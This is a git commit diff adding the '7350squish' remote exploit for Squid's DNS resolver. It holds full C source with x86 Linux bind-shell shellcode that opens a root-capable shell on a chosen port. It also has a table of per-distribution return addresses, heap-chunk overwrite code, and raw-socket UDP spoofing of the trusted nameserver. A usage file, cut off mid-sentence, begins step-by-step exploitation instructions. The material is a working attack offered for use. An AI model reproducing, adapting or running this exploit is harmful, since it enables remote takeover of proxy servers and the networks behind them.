diff options
| author | Root THC | 2026-02-24 12:42:47 +0000 |
|---|---|---|
| committer | Root THC | 2026-02-24 12:42:47 +0000 |
| commit | c9cbeced5b3f2bdd7407e29c0811e65954132540 (patch) | |
| tree | aefc355416b561111819de159ccbd86c3004cf88 /exploits/7350squish | |
| parent | 073fe4bf9fca6bf40cef2886d75df832ef4b6fca (diff) | |
initial
Diffstat (limited to 'exploits/7350squish')
| -rw-r--r-- | exploits/7350squish/7350squish | bin | 0 -> 12419 bytes | |||
| -rw-r--r-- | exploits/7350squish/7350squish-0.1.tar.gz | bin | 0 -> 7345 bytes | |||
| -rw-r--r-- | exploits/7350squish/7350squish.c | 642 | ||||
| -rw-r--r-- | exploits/7350squish/7350squish.txt | 94 | ||||
| -rw-r--r-- | exploits/7350squish/deb/squid_2.3.4-2_i386.deb | bin | 0 -> 666056 bytes | |||
| -rw-r--r-- | exploits/7350squish/deb/squid_2.4.1-1_i386.deb | bin | 0 -> 671672 bytes | |||
| -rw-r--r-- | exploits/7350squish/deb/squid_2.4.1-2_i386.deb | bin | 0 -> 671734 bytes | |||
| -rw-r--r-- | exploits/7350squish/deb/squid_2.4.1-3_i386.deb | bin | 0 -> 671786 bytes | |||
| -rw-r--r-- | exploits/7350squish/deb/squid_2.4.1-4_i386.deb | bin | 0 -> 672908 bytes | |||
| -rw-r--r-- | exploits/7350squish/deb/squid_2.4.1-5_i386.deb | bin | 0 -> 672822 bytes | |||
| -rw-r--r-- | exploits/7350squish/deb/squid_2.4.2-1_i386.deb | bin | 0 -> 675904 bytes | |||
| -rw-r--r-- | exploits/7350squish/offset-find.sh | 67 | ||||
| -rw-r--r-- | exploits/7350squish/tagspace.c | 42 | ||||
| -rw-r--r-- | exploits/7350squish/udp.c | 232 |
14 files changed, 1077 insertions, 0 deletions
diff --git a/exploits/7350squish/7350squish b/exploits/7350squish/7350squish new file mode 100644 index 0000000..5b169c4 --- /dev/null +++ b/exploits/7350squish/7350squish | |||
| Binary files differ | |||
diff --git a/exploits/7350squish/7350squish-0.1.tar.gz b/exploits/7350squish/7350squish-0.1.tar.gz new file mode 100644 index 0000000..24ced36 --- /dev/null +++ b/exploits/7350squish/7350squish-0.1.tar.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350squish/7350squish.c b/exploits/7350squish/7350squish.c new file mode 100644 index 0000000..79b8f86 --- /dev/null +++ b/exploits/7350squish/7350squish.c | |||
| @@ -0,0 +1,642 @@ | |||
| 1 | /* 7350squish - x86/linux squid remote exploit | ||
| 2 | * | ||
| 3 | * TESO CONFIDENTIAL - SOURCE MATERIALS | ||
| 4 | * | ||
| 5 | * This is unpublished proprietary source code of TESO Security. | ||
| 6 | * | ||
| 7 | * The contents of these coded instructions, statements and computer | ||
| 8 | * programs may not be disclosed to third parties, copied or duplicated in | ||
| 9 | * any form, in whole or in part, without the prior written permission of | ||
| 10 | * TESO Security. This includes especially the Bugtraq mailing list, the | ||
| 11 | * www.hack.co.za website and any public exploit archive. | ||
| 12 | * | ||
| 13 | * The distribution restrictions cover the entire file, including this | ||
| 14 | * header notice. (This means, you are not allowed to reproduce the header). | ||
| 15 | * | ||
| 16 | * (C) COPYRIGHT TESO Security, 2001 | ||
| 17 | * All Rights Reserved | ||
| 18 | * | ||
| 19 | ***************************************************************************** | ||
| 20 | * bug found by scut 2001/09/10 | ||
| 21 | * further research by lorian. | ||
| 22 | * exploit by lorian. (beefed up by scut ;) | ||
| 23 | * | ||
| 24 | * squid-2.4.1/lib/rfc1035.c:278:# logic fuckup, buffer overflow | ||
| 25 | */ | ||
| 26 | |||
| 27 | #define VERSION "0.1" | ||
| 28 | |||
| 29 | #include <sys/types.h> | ||
| 30 | #include <sys/socket.h> | ||
| 31 | #include <netinet/in.h> | ||
| 32 | #include <arpa/inet.h> | ||
| 33 | #include <netinet/ip.h> | ||
| 34 | #include <netinet/udp.h> | ||
| 35 | |||
| 36 | #include <arpa/nameser.h> | ||
| 37 | |||
| 38 | #include <stdio.h> | ||
| 39 | #include <stdlib.h> | ||
| 40 | #include <unistd.h> | ||
| 41 | |||
| 42 | |||
| 43 | typedef struct { | ||
| 44 | char * desc; /* distribution */ | ||
| 45 | unsigned char * shellcode; | ||
| 46 | unsigned int shellcode_len; | ||
| 47 | |||
| 48 | unsigned long int retloc; /* return address location */ | ||
| 49 | unsigned long int retaddr; /* return address */ | ||
| 50 | |||
| 51 | /* resource data length, must be (n * 0x40) + 2 */ | ||
| 52 | unsigned int rdata_len; | ||
| 53 | |||
| 54 | /* bytes in decoded dns domain until the next chunk starts */ | ||
| 55 | unsigned int chunk_start; | ||
| 56 | } tgt_type; | ||
| 57 | |||
| 58 | |||
| 59 | unsigned char x86_lnx_loop[] = "\xeb\xfe"; | ||
| 60 | |||
| 61 | /* x86/linux pic portshell shellcode, by lorian / teso | ||
| 62 | * small mods by scut | ||
| 63 | * | ||
| 64 | * you can exchange it as you like, just obey the conditions: | ||
| 65 | * | ||
| 66 | * - sliceable on 4 byte boundaries | ||
| 67 | * - pic in itself (i.e. no jmp/callback tricks, no relative addressing) | ||
| 68 | * - any bytes allowed (NUL, 0x0a, 0x0d, 0x25, ... everything) | ||
| 69 | * - should be small (< 128 bytes at least) | ||
| 70 | */ | ||
| 71 | unsigned char x86_lnx_portshell[] = | ||
| 72 | "\x31\xc0" /* xor %eax, %eax */ | ||
| 73 | "\x99" /* cltd */ | ||
| 74 | "\x50" /* push %eax */ | ||
| 75 | |||
| 76 | "\xfe\xc0" /* inc %al */ | ||
| 77 | "\x89\xc3" /* mov %eax, %ebx */ | ||
| 78 | |||
| 79 | "\x50" /* push %eax */ | ||
| 80 | "\xfe\xc0" /* inc %al */ | ||
| 81 | "\x50" /* push %eax */ | ||
| 82 | |||
| 83 | "\x89\xe1" /* mov %esp, %ecx */ | ||
| 84 | "\xb0\x66" /* mov $0x66, %al */ | ||
| 85 | |||
| 86 | "\xcd\x80" /* int $0x80 */ | ||
| 87 | "\x52" /* push %edx */ | ||
| 88 | "\x90" /* nop */ | ||
| 89 | |||
| 90 | "\x66\x68\x50\x73" /* pushw $0x7350 */ /* port number */ | ||
| 91 | |||
| 92 | "\x66\x52" /* push %dx */ | ||
| 93 | "\x89\xe2" /* mov %esp, %edx */ | ||
| 94 | |||
| 95 | "\x6a\x10" /* push $0x10 */ | ||
| 96 | "\x52" /* push %edx */ | ||
| 97 | "\x50" /* push %eax */ | ||
| 98 | |||
| 99 | "\x89\xe1" /* mov %esp, %ecx */ | ||
| 100 | "\xfe\xc3" /* inc %bl */ | ||
| 101 | |||
| 102 | "\x89\xc2" /* mov %eax, %edx */ | ||
| 103 | "\xb0\x66" /* mov $0x66, %al */ | ||
| 104 | |||
| 105 | "\xcd\x80" /* int $0x80 */ | ||
| 106 | "\x90" /* nop */ | ||
| 107 | "\x90" /* nop */ | ||
| 108 | |||
| 109 | "\x80\xc3\x02" /* add $0x02, %bl */ | ||
| 110 | "\x90" /* nop */ | ||
| 111 | |||
| 112 | "\xb0\x66" /* mov $0x66, %al */ | ||
| 113 | "\xcd\x80" /* int $0x80 */ | ||
| 114 | |||
| 115 | "\x50" /* push %eax */ | ||
| 116 | "\x52" /* push %edx */ | ||
| 117 | "\x89\xe1" /* mov %esp, %ecx */ | ||
| 118 | |||
| 119 | "\xfe\xc3" /* inc %bl */ | ||
| 120 | "\xb0\x66" /* mov $0x66, %al */ | ||
| 121 | |||
| 122 | "\xcd\x80" /* int $0x80 */ | ||
| 123 | "\x89\xc3" /* mov %eax, %ebx */ | ||
| 124 | |||
| 125 | "\x31\xc9" /* xor %ecx, %ecx */ | ||
| 126 | "\xb0\x3f" /* mov $0x3f, %al */ | ||
| 127 | |||
| 128 | "\xcd\x80" /* int $0x80 */ | ||
| 129 | "\xfe\xc1" /* inc %cl */ | ||
| 130 | |||
| 131 | "\xb0\x3f" /* mov $0x3f, %al */ | ||
| 132 | "\xcd\x80" /* int $0x80 */ | ||
| 133 | |||
| 134 | "\xb0\x0b" /* mov $0x0b, %al */ | ||
| 135 | "\x99" /* cltd */ | ||
| 136 | "\x52" /* push %edx */ | ||
| 137 | |||
| 138 | "\x66\x68\x73\x68" /* pushw $0x6873 */ | ||
| 139 | |||
| 140 | "\x66\x68\x6e\x2f" /* pushw $0x2f6e */ | ||
| 141 | |||
| 142 | "\x66\x68\x62\x69" /* pushw $0x6962 */ | ||
| 143 | |||
| 144 | "\x66\x68\x2f\x2f" /* pushw $0x2f2f */ | ||
| 145 | |||
| 146 | "\x89\xe3" /* mov %esp, %ebx */ | ||
| 147 | "\x52" /* push %edx */ | ||
| 148 | "\x53" /* push %ebx */ | ||
| 149 | |||
| 150 | "\x89\xe1" /* mov %esp, %ecx */ | ||
| 151 | "\xcd\x80" /* int $0x80 */ | ||
| 152 | ""; | ||
| 153 | |||
| 154 | #define X86_LNX_PS_PORT_HIGH 22 | ||
| 155 | #define X86_LNX_PS_PORT_LOW 23 | ||
| 156 | |||
| 157 | |||
| 158 | tgt_type targets[] = { | ||
| 159 | { "DEBUG: crash target", x86_lnx_loop, sizeof (x86_lnx_loop) - 1, | ||
| 160 | 0x55555555, 0x66666666, 0x0182, 288 }, | ||
| 161 | |||
| 162 | /* XXX: not yet working, fixme | ||
| 163 | { "Debian sid - squid_2.3.4-2_i386.deb", | ||
| 164 | x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1, | ||
| 165 | 0x080ee434, 0x080dcc2f, 0x0182, 288 }, | ||
| 166 | */ | ||
| 167 | |||
| 168 | { "Debian sid - squid_2.4.1-1_i386.deb", | ||
| 169 | x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1, | ||
| 170 | 0x080df07c, 0x080f0f90, 0x0182, 288 }, | ||
| 171 | { "Debian sid - squid_2.4.1-2_i386.deb", | ||
| 172 | x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1, | ||
| 173 | 0x080df07c, 0x080f0f90, 0x0182, 288 }, | ||
| 174 | { "Debian sid - squid_2.4.1-3_i386.deb", | ||
| 175 | x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1, | ||
| 176 | 0x080df07c, 0x080f0f90, 0x0182, 288 }, | ||
| 177 | { "Debian sid - squid_2.4.1-4_i386.deb", | ||
| 178 | x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1, | ||
| 179 | 0x080df59c, 0x080f14b0, 0x0182, 288 }, | ||
| 180 | { "Debian sid - squid_2.4.1-5_i386.deb", | ||
| 181 | x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1, | ||
| 182 | 0x080df4bc, 0x080f13d0, 0x0182, 288 }, | ||
| 183 | { "Debian sid - squid_2.4.1-6_i386.deb", | ||
| 184 | x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1, | ||
| 185 | 0x080df4bc, 0x080f2970, 0x0182, 288 }, | ||
| 186 | { "Debian sid - squid_2.4.2-1_i386.deb", | ||
| 187 | x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1, | ||
| 188 | 0x080df838, 0x080f2cf0, 0x0182, 288 }, | ||
| 189 | |||
| 190 | { "UNTST RedHat 6.2 (Zoot) - Squid 2.3.STABLE1", | ||
| 191 | x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1, | ||
| 192 | 0x080bc738, 0x080cd700, 0x0182, 288 }, | ||
| 193 | { "UNTST Mandrake 8.0 (Traktopel) - squid-2.3.STABLE4-5mdk.i586.rpm", | ||
| 194 | x86_lnx_portshell, sizeof (x86_lnx_portshell) - 1, | ||
| 195 | 0x080d49f4, 0x080e5a40, 0x0182, 288 }, | ||
| 196 | |||
| 197 | { NULL, 0, 0 }, | ||
| 198 | }; | ||
| 199 | |||
| 200 | /* how much bytes we have to keep untouched before the first chunk | ||
| 201 | * do not touch, except you know exactly what you're doing | ||
| 202 | */ | ||
| 203 | #define CHUNK_PM 4 | ||
| 204 | |||
| 205 | |||
| 206 | /* our prototypes */ | ||
| 207 | int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len); | ||
| 208 | void usage (char *progname); | ||
| 209 | |||
| 210 | |||
| 211 | /* raw socket and ip prototypes */ | ||
| 212 | int udp_sendpkt (struct sockaddr_in *sin, int s, | ||
| 213 | unsigned char *data, | ||
| 214 | unsigned short int datalen, | ||
| 215 | unsigned long int saddr, unsigned long int daddr, | ||
| 216 | unsigned short int sport, unsigned short int dport); | ||
| 217 | int send_packet (char *nsname, short nsport, char *dest, short port, | ||
| 218 | char *buf, int size); | ||
| 219 | unsigned short in_cksum (unsigned short *addr, int len); | ||
| 220 | |||
| 221 | |||
| 222 | void | ||
| 223 | usage (char *progname) | ||
| 224 | { | ||
| 225 | fprintf (stderr, "usage: %s [-t <num>] [-p <p#>] <source> <dest>\n\n", | ||
| 226 | progname); | ||
| 227 | |||
| 228 | fprintf (stderr, "-t num\tchoose target (0 for list)\n" | ||
| 229 | "-p p#\tport of spawned portshell\n" | ||
| 230 | "source\tis <source-ip>:<source-port>, of a trusted " | ||
| 231 | "nameserver\n" | ||
| 232 | "dest\tis <dest-ip>:<dest-port>, of the squid resolver\n\n"); | ||
| 233 | fprintf (stderr, "note: the squid resolver is bound to some high " | ||
| 234 | "udp port at startup\n" | ||
| 235 | " time. you have to catch this port number once (it is " | ||
| 236 | "a normal DGRAM\n" | ||
| 237 | " socket). in the default configuration squid only " | ||
| 238 | "trusts the default\n" | ||
| 239 | " nameservers, so you have to spoof that, too. in the " | ||
| 240 | "ideal case you can\n" | ||
| 241 | " sniff the nameserver squid uses.\n\n"); | ||
| 242 | |||
| 243 | exit (EXIT_FAILURE); | ||
| 244 | } | ||
| 245 | |||
| 246 | |||
| 247 | int | ||
| 248 | main (int argc, char *argv[]) | ||
| 249 | { | ||
| 250 | int len, | ||
| 251 | n; | ||
| 252 | char c; | ||
| 253 | char buffer[512]; | ||
| 254 | |||
| 255 | tgt_type * tgt; | ||
| 256 | int tgt_num = -1; | ||
| 257 | |||
| 258 | char srcip[64], | ||
| 259 | dstip[64]; | ||
| 260 | unsigned short int srcp, | ||
| 261 | dstp; | ||
| 262 | unsigned short pnum = 0x7350; | ||
| 263 | |||
| 264 | |||
| 265 | printf ("7350squish - x86/linux squid remote exploit. version "VERSION"\n" | ||
| 266 | "lorian & scut\n\n"); | ||
| 267 | |||
| 268 | |||
| 269 | while ((c = getopt (argc, argv, "t:p:")) != EOF) { | ||
| 270 | switch (c) { | ||
| 271 | case 't': | ||
| 272 | tgt_num = atoi (optarg); | ||
| 273 | break; | ||
| 274 | case 'p': | ||
| 275 | if (sscanf (optarg, "%hu", &pnum) != 1) | ||
| 276 | usage (argv[0]); | ||
| 277 | |||
| 278 | break; | ||
| 279 | default: | ||
| 280 | usage (argv[0]); | ||
| 281 | break; | ||
| 282 | } | ||
| 283 | } | ||
| 284 | |||
| 285 | x86_lnx_portshell[X86_LNX_PS_PORT_HIGH] = (pnum >> 8) & 0xff; | ||
| 286 | x86_lnx_portshell[X86_LNX_PS_PORT_LOW] = pnum & 0xff; | ||
| 287 | |||
| 288 | |||
| 289 | if (tgt_num < 0) { | ||
| 290 | fprintf (stderr, "WARNING: no target selected, using default\n"); | ||
| 291 | tgt_num = 1; | ||
| 292 | } | ||
| 293 | |||
| 294 | if (tgt_num == 0 || | ||
| 295 | tgt_num >= (sizeof (targets) / sizeof (tgt_type))) | ||
| 296 | { | ||
| 297 | if (tgt_num != 0) | ||
| 298 | printf ("WARNING: target out of list. giving list\n\n"); | ||
| 299 | |||
| 300 | printf ("num . description\n"); | ||
| 301 | printf ("----+-------------------------------------------------------\n"); | ||
| 302 | |||
| 303 | for ( ; targets[tgt_num].desc != NULL ; ++tgt_num) | ||
| 304 | printf ("%3d | %s\n", tgt_num + 1, | ||
| 305 | targets[tgt_num].desc); | ||
| 306 | |||
| 307 | printf (" '\n"); | ||
| 308 | |||
| 309 | exit (EXIT_SUCCESS); | ||
| 310 | } | ||
| 311 | |||
| 312 | if ((argc - optind) != 2) | ||
| 313 | usage (argv[0]); | ||
| 314 | |||
| 315 | if ((sscanf (argv[optind], "%63[^:]:%hu", srcip, &srcp) != 2) || | ||
| 316 | (sscanf (argv[optind + 1], "%63[^:]:%hu", dstip, &dstp) != 2)) | ||
| 317 | { | ||
| 318 | usage (argv[0]); | ||
| 319 | } | ||
| 320 | |||
| 321 | |||
| 322 | tgt = &targets[tgt_num - 1]; | ||
| 323 | |||
| 324 | printf ("TARGET: %s\n", tgt->desc); | ||
| 325 | printf ("OFFSET: 0x%08lx (retloc) 0x%08lx (retaddr) %u/%u\n", | ||
| 326 | tgt->retloc, tgt->retaddr, tgt->rdata_len, tgt->chunk_start); | ||
| 327 | printf ("DIRECT: %s %hu -> %s %hu\n", srcip, srcp, dstip, dstp); | ||
| 328 | printf ("\n"); | ||
| 329 | |||
| 330 | |||
| 331 | len = xp_build (tgt, buffer, sizeof (buffer)); | ||
| 332 | printf ("- build %d byte exploitation buffer\n", len); | ||
| 333 | printf ("- sending... "); | ||
| 334 | fflush (stdout); | ||
| 335 | |||
| 336 | n = send_packet (srcip, srcp, dstip, dstp, | ||
| 337 | (unsigned char *) &buffer, len); | ||
| 338 | if (n == -1) { | ||
| 339 | printf ("failed. exiting\n"); | ||
| 340 | |||
| 341 | exit (EXIT_FAILURE); | ||
| 342 | } | ||
| 343 | |||
| 344 | printf ("done.\n"); | ||
| 345 | |||
| 346 | printf ("\n- try \"telnet %s %hu\" now.\n", dstip, pnum); | ||
| 347 | printf ("\n"); | ||
| 348 | |||
| 349 | exit (EXIT_SUCCESS); | ||
| 350 | } | ||
| 351 | |||
| 352 | |||
| 353 | /* xp_build | ||
| 354 | * | ||
| 355 | * build exploitation buffer for target `tgt', into `buf', which is `buf_len' | ||
| 356 | * bytes long. no boundary checking is done, `buf' must be large enough | ||
| 357 | * | ||
| 358 | * return length of constructed packet | ||
| 359 | */ | ||
| 360 | |||
| 361 | int | ||
| 362 | xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len) | ||
| 363 | { | ||
| 364 | int n; | ||
| 365 | unsigned char * w; /* walker */ | ||
| 366 | unsigned char * xpb; /* exploitation buffer */ | ||
| 367 | unsigned char * chunk; | ||
| 368 | HEADER * hdr = (HEADER *) buf; | ||
| 369 | |||
| 370 | |||
| 371 | memset (buf, '\x00', buf_len); | ||
| 372 | |||
| 373 | /* setup bogus reply header | ||
| 374 | */ | ||
| 375 | hdr->id = 0x7350; | ||
| 376 | hdr->qr = 1; | ||
| 377 | hdr->opcode = ns_o_query; | ||
| 378 | hdr->aa = 1; | ||
| 379 | hdr->rcode = ns_r_noerror; | ||
| 380 | hdr->rd = hdr->ra = 1; | ||
| 381 | |||
| 382 | hdr->qdcount = htons (0x0001); | ||
| 383 | hdr->ancount = htons (0x0002); | ||
| 384 | hdr->nscount = hdr->arcount = htons (0x0000); | ||
| 385 | |||
| 386 | w = buf + sizeof (HEADER); | ||
| 387 | |||
| 388 | /* bogus NUL query */ | ||
| 389 | *w++ = '\x00'; | ||
| 390 | PUTSHORT (ns_t_a, w); /* type */ | ||
| 391 | PUTSHORT (ns_c_in, w); /* class */ | ||
| 392 | |||
| 393 | /* and the NUL answer */ | ||
| 394 | *w++ = '\x00'; | ||
| 395 | PUTSHORT (ns_t_a, w); /* type */ | ||
| 396 | PUTSHORT (ns_c_in, w); /* class */ | ||
| 397 | PUTLONG (0x00000537, w); /* ttl */ | ||
| 398 | PUTSHORT (0x182, w); /* TODO: extend */ | ||
| 399 | |||
| 400 | xpb = w; | ||
| 401 | |||
| 402 | /* maximum label length blocks | ||
| 403 | */ | ||
| 404 | for (n = tgt->rdata_len / 0x40 ; n > 0 ; --n) { | ||
| 405 | *w = '\x3f'; | ||
| 406 | w += 0x40; | ||
| 407 | } | ||
| 408 | |||
| 409 | /* write down shellcode and jmp-ahead nops | ||
| 410 | */ | ||
| 411 | { | ||
| 412 | int wlen; /* walking length */ | ||
| 413 | unsigned char * stp; /* store pointer */ | ||
| 414 | unsigned char * scp; /* shellcode pointer */ | ||
| 415 | unsigned char * codestart; /* upper end of stored shellcode */ | ||
| 416 | |||
| 417 | /* make scp point to the last byte of the shellcode, then | ||
| 418 | * walk the entire mess backwards, copying and slicing the | ||
| 419 | * code into 4 byte chunks | ||
| 420 | */ | ||
| 421 | scp = tgt->shellcode + tgt->shellcode_len; | ||
| 422 | |||
| 423 | stp = xpb + tgt->chunk_start - CHUNK_PM; | ||
| 424 | wlen = tgt->chunk_start - CHUNK_PM - 1; | ||
| 425 | wlen %= 0x40; | ||
| 426 | // wlen = 0x3f; | ||
| 427 | |||
| 428 | for ( ; scp > tgt->shellcode ; ) { | ||
| 429 | int clen; | ||
| 430 | |||
| 431 | clen = 4; | ||
| 432 | if ((scp - tgt->shellcode) < clen) | ||
| 433 | clen = scp - tgt->shellcode; | ||
| 434 | |||
| 435 | memcpy (stp - clen, scp - clen, clen); | ||
| 436 | stp -= clen; | ||
| 437 | scp -= clen; | ||
| 438 | wlen -= clen; | ||
| 439 | |||
| 440 | if (wlen < 4) { | ||
| 441 | memcpy (stp - wlen, "\x90\x90\x90", wlen); | ||
| 442 | stp -= wlen + 1; | ||
| 443 | |||
| 444 | /* jump ahead (over domain length byte) | ||
| 445 | */ | ||
| 446 | *--stp = '\x01'; | ||
| 447 | *--stp = '\xeb'; | ||
| 448 | |||
| 449 | wlen = 0x3f - 2; | ||
| 450 | } | ||
| 451 | |||
| 452 | } | ||
| 453 | codestart = stp; | ||
| 454 | |||
| 455 | /* now, fill the rest with jump-ahead nops | ||
| 456 | */ | ||
| 457 | while (stp > xpb) { | ||
| 458 | for ( ; wlen >= 2 ; wlen -= 2) { | ||
| 459 | unsigned int dist; | ||
| 460 | |||
| 461 | dist = codestart - stp; | ||
| 462 | if (dist >= 0x80) | ||
| 463 | dist = 0x7e; | ||
| 464 | |||
| 465 | *--stp = (unsigned char) dist; | ||
| 466 | *--stp = '\xeb'; | ||
| 467 | } | ||
| 468 | |||
| 469 | if (wlen == 1) { | ||
| 470 | *--stp = '\x90'; | ||
| 471 | wlen -= 1; | ||
| 472 | } | ||
| 473 | |||
| 474 | stp -= 1; /* label lenght byte */ | ||
| 475 | wlen = 0x3f; | ||
| 476 | } | ||
| 477 | } | ||
| 478 | |||
| 479 | n = tgt->rdata_len % 0x40; | ||
| 480 | if (n != 2) { | ||
| 481 | fprintf (stderr, "invalid remaining buffer space\n"); | ||
| 482 | |||
| 483 | exit (EXIT_FAILURE); | ||
| 484 | } | ||
| 485 | |||
| 486 | *w++ = '\xc0'; /* compression marker for last label */ | ||
| 487 | *w++ = '\x0c'; /* directly after HEADER */ | ||
| 488 | |||
| 489 | |||
| 490 | /* second answer */ | ||
| 491 | *w++ = '\xc0'; | ||
| 492 | *w++ = '\x1c'; | ||
| 493 | PUTSHORT (ns_t_a, w); | ||
| 494 | PUTSHORT (ns_c_in, w); | ||
| 495 | PUTLONG (0x00000537, w); | ||
| 496 | PUTSHORT (0x0000, w); | ||
| 497 | |||
| 498 | |||
| 499 | /* now to the messy details ;) | ||
| 500 | * we overflow the buffer the domain is decoded to, hence we need to | ||
| 501 | * align our dns packet buffer to the decoded buffer (+1). the chunk | ||
| 502 | * will be at tgt->chunk_start then. | ||
| 503 | */ | ||
| 504 | chunk = xpb + 1 + tgt->chunk_start; | ||
| 505 | |||
| 506 | /* XXX: wtf do we need this? (fails w/o tho) | ||
| 507 | */ | ||
| 508 | chunk[-4] = chunk[-3] = chunk[-2] = chunk[-1] = '\x00'; | ||
| 509 | /* prev_size = NULL */ | ||
| 510 | chunk[0] = chunk[1] = chunk[2] = chunk[3] = '\x00'; | ||
| 511 | /* little endian this_size: 64 bytes with PREV_INUSE set */ | ||
| 512 | chunk[4] = '\x41'; | ||
| 513 | chunk[5] = chunk[6] = chunk[7] = '\x00'; | ||
| 514 | |||
| 515 | /* ->fd = retloc - 12 */ | ||
| 516 | chunk[8] = (tgt->retloc - 12) & 0xff; | ||
| 517 | chunk[9] = ((tgt->retloc - 12) >> 8) & 0xff; | ||
| 518 | chunk[10] = ((tgt->retloc - 12) >> 16) & 0xff; | ||
| 519 | chunk[11] = ((tgt->retloc - 12) >> 24) & 0xff; | ||
| 520 | |||
| 521 | /* ->bk = retaddr, XXX: retaddr[8] to retaddr[11] will be crushed */ | ||
| 522 | chunk[12] = tgt->retaddr & 0xff; | ||
| 523 | chunk[13] = (tgt->retaddr >> 8) & 0xff; | ||
| 524 | chunk[14] = (tgt->retaddr >> 16) & 0xff; | ||
| 525 | chunk[15] = (tgt->retaddr >> 24) & 0xff; | ||
| 526 | |||
| 527 | /* create a second fake chunk (prev_size = NULL, this_size = pad) */ | ||
| 528 | chunk += 0x40; | ||
| 529 | chunk[0] = chunk[1] = chunk[2] = chunk[3] = '\x00'; | ||
| 530 | chunk[4] = '\x48'; | ||
| 531 | chunk[5] = '\x01'; | ||
| 532 | chunk[6] = chunk[7] = '\x00'; | ||
| 533 | |||
| 534 | |||
| 535 | return ((int) (w - buf)); | ||
| 536 | } | ||
| 537 | |||
| 538 | |||
| 539 | |||
| 540 | /* XXX: where is the following stuff ripped from? -sc */ | ||
| 541 | |||
| 542 | /* Send faked UDP packet. */ | ||
| 543 | int | ||
| 544 | udp_sendpkt (struct sockaddr_in *sin, int s, | ||
| 545 | unsigned char *data, | ||
| 546 | unsigned short int datalen, | ||
| 547 | unsigned long int saddr, unsigned long int daddr, | ||
| 548 | unsigned short int sport, unsigned short int dport) | ||
| 549 | { | ||
| 550 | struct iphdr ip; | ||
| 551 | struct udphdr udp; | ||
| 552 | char packet[8192]; | ||
| 553 | |||
| 554 | /* Fill in IP header values. */ | ||
| 555 | ip.ihl = 5; | ||
| 556 | ip.version = 4; | ||
| 557 | ip.tos = 0; | ||
| 558 | ip.tot_len = htons (28 + datalen); | ||
| 559 | ip.id = 0x7350; | ||
| 560 | ip.frag_off = 0; | ||
| 561 | ip.ttl = 255; | ||
| 562 | ip.protocol = IPPROTO_UDP; | ||
| 563 | ip.check = 0; | ||
| 564 | ip.saddr = saddr; | ||
| 565 | ip.daddr = daddr; | ||
| 566 | ip.check = in_cksum ((unsigned short *) &ip, sizeof(ip)); | ||
| 567 | |||
| 568 | /* Fill in UDP header values. Checksums are unnecassary. */ | ||
| 569 | udp.source = htons (sport); | ||
| 570 | udp.dest = htons (dport); | ||
| 571 | udp.len = htons (8 + datalen); | ||
| 572 | udp.check = (unsigned short) 0; | ||
| 573 | |||
| 574 | /* Copy the headers into our character array. */ | ||
| 575 | memcpy (packet, (char *) &ip, sizeof (ip)); | ||
| 576 | memcpy (packet + sizeof (ip), (char *) &udp, sizeof (udp)); | ||
| 577 | memcpy (packet + sizeof (ip) + sizeof (udp), (char *) data, datalen); | ||
| 578 | |||
| 579 | return (sendto (s, packet, sizeof (ip) + sizeof (udp) + datalen, 0, | ||
| 580 | (struct sockaddr *) sin, sizeof (struct sockaddr_in))); | ||
| 581 | } | ||
| 582 | |||
| 583 | |||
| 584 | int | ||
| 585 | send_packet (char *nsname, short nsport, char *dest, short port, char *buf, | ||
| 586 | int size) | ||
| 587 | { | ||
| 588 | int fd, | ||
| 589 | socktolen; | ||
| 590 | struct sockaddr_in sockto; | ||
| 591 | struct in_addr in, | ||
| 592 | ns; | ||
| 593 | |||
| 594 | fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW); | ||
| 595 | if (fd == -1) { | ||
| 596 | perror ("unable to create raw socket:"); | ||
| 597 | |||
| 598 | exit (EXIT_FAILURE); | ||
| 599 | } | ||
| 600 | |||
| 601 | socktolen = sizeof (struct sockaddr_in); | ||
| 602 | |||
| 603 | inet_aton (dest, &in); | ||
| 604 | inet_aton (nsname, &ns); | ||
| 605 | |||
| 606 | socktolen = sizeof (struct sockaddr_in); | ||
| 607 | memset (&sockto, 0, socktolen); | ||
| 608 | |||
| 609 | sockto.sin_family = AF_INET; | ||
| 610 | sockto.sin_port = htons (port); | ||
| 611 | sockto.sin_addr.s_addr = in.s_addr; | ||
| 612 | |||
| 613 | return (udp_sendpkt (&sockto, fd, buf, size, ns.s_addr, in.s_addr, | ||
| 614 | nsport, port)); | ||
| 615 | } | ||
| 616 | |||
| 617 | |||
| 618 | unsigned short | ||
| 619 | in_cksum (unsigned short *addr, int len) | ||
| 620 | { | ||
| 621 | int nleft = len; | ||
| 622 | int sum = 0; | ||
| 623 | unsigned short answer = 0; | ||
| 624 | unsigned short * w = addr; | ||
| 625 | |||
| 626 | while (nleft > 1) { | ||
| 627 | sum += *w++; | ||
| 628 | nleft -= 2; | ||
| 629 | } | ||
| 630 | |||
| 631 | if (nleft == 1) { | ||
| 632 | *(u_char *)(&answer) = *(u_char *)w; | ||
| 633 | sum += answer; | ||
| 634 | } | ||
| 635 | |||
| 636 | sum = (sum >> 16) + (sum & 0xffff); | ||
| 637 | sum += (sum >> 16); | ||
| 638 | answer = ~sum; | ||
| 639 | |||
| 640 | return (answer); | ||
| 641 | } | ||
| 642 | |||
diff --git a/exploits/7350squish/7350squish.txt b/exploits/7350squish/7350squish.txt new file mode 100644 index 0000000..e6debb2 --- /dev/null +++ b/exploits/7350squish/7350squish.txt | |||
| @@ -0,0 +1,94 @@ | |||
| 1 | |||
| 2 | |||
| 3 | exploitation | ||
| 4 | ============ | ||
| 5 | |||
| 6 | Squid uses the same UDP port all the time for its resolver. You have to find | ||
| 7 | this port number. Also, you need to find the trusted nameserver and its port | ||
| 8 | (always 53). Some Squids trust every nameserver, but most (default) do only | ||
| 9 | trust the default nameserver. So you either have to be in the local LAN or be | ||
| 10 | able to spoof packets from the trusted nameservers address. The UDP port | ||
| 11 | number is high ephemeral and for most Linux installations, it is somewhere | ||
| 12 | around (32768 - 32900). The offsets are tight, you will have to get the exact | ||
